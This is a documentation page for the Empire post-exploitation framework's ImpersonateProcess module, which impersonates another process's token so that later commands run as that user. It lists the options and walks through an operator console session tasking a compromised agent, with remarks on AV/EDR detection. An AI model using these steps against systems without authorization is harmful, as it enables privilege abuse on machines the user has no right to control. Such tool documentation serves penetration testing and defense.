ImpersonateProcess - Empire Module


This page contains detailed information about how to use the csharp/Sharpsploit.Credentials/ImpersonateProcess Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: ImpersonateProcess
Module: csharp/Sharpsploit.Credentials/ImpersonateProcess
Source code: empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml#L232
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The ImpersonateProcess module impersonates the token of the specified process. Used to execute subsequent commands as the user associated with the token of the specified process.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the ImpersonateProcess module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the ImpersonateProcess module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

ProcessID
Process ID of the process to impersonate.
Default value: 1234.

ImpersonateProcess Example Usage

Here's an example of how to use the ImpersonateProcess module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/Sharpsploit.Credentials/ImpersonateProcess

 Author       cobbr_io                                                         
 Background   False                                                            
 Description  Impersonate the token of the specified process. Used to execute  
              subsequent commands as the user associated with the token of the 
              specified process.                                               
 Language     csharp                                                           
 Name         csharp/Sharpsploit.Credentials/ImpersonateProcess                
 NeedsAdmin   False                                                            
 OpsecSafe    False                                                            


,Record Options-,-------,----------,---------------------------------,
| Name          | Value | Required | Description                     |
|---------------|-------|----------|---------------------------------|
| Agent         |       | True     | Agent to run module on.         |
|---------------|-------|----------|---------------------------------|
| DotNetVersion | Net35 | True     | .NET version to compile against |
|---------------|-------|----------|---------------------------------|
| ProcessID     | 1234  | True     | Process ID of the process to    |
|               |       |          | impersonate.                    |
'---------------'-------'----------'---------------------------------'

(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > set ProcessID 1234
[*] Set ProcessID to 1234
(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/Sharpsploit.Credentials/ImpersonateProcess) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.